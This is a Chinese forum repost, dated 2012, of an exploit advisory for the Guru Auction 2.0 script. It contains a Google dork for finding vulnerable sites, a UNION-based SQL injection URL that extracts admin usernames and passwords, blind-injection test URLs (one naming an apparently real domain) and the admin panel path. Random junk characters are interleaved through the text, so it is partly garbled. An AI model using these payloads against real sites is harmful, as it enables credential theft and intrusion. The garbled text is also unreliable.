Guru Auction 2.0 Multiple SQL Injection Vulnerabilities
9 s: r' A: J4 I& U
$ w, h3 J# y$ L' |7 |$ c: H/ G' W作者 : v3n0m: E) L0 ~# a' j5 p4 h1 r9 W6 t
应用 : Guru Auction 2.0
" V8 i( k5 m( i& Z8 KPrice : $495 t) ?( C# s% w: R) }8 w3 I$ {
Vendor : http://www.guruscript.com/5 l/ N4 K5 z3 W3 c! u9 s! c6 K
Google Dork : inurl:subcat.php?cate_id=
7 H0 I& k5 @; ~, }2 Q3 U! C. b* t
( K( M% |7 |! GSQLi p0c:0 j9 i+ O$ e( z8 ~# d
~~~~~~~~~~9 h9 P# I4 O; a" u% n
http://domain.tld/[path]/subcat.php?cate_id=-9999+union+all+select+null,group_concat(user_name,char(58),password),null+from+admin--. o H1 H2 A4 H. V
1 ?+ M/ ?! C6 f+ n, C
/ ~; g, ~( s4 f+ c7 L6 T. Q盲注 p0c:" ?7 f( I" H# b) a+ T. w3 V
~~~~~~~~~~7 t- z( L: A/ @1 T/ Y6 Y
http://www.political-security.com /[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=5 << true; R+ W" j( G) I# X5 U8 A
http://domain.tld/[path]/detail.php?item_id=575+AND+SUBSTRING(@@version,1,1)=4 << false
4 B* W& k. Y0 p5 t: `9 U* R 0 u3 U7 _, Z. b% K' h: d9 N+ I
管理登录入口:
. T- L$ d7 o6 x$ ^~~~~~~~~~~
# c s* M, H4 f- x+ T6 yhttp://domain.tld/[path]/admin/
3 [" v, o( x- x. X |
发表于 2012-12-31 09:24:05
收藏
支持
反对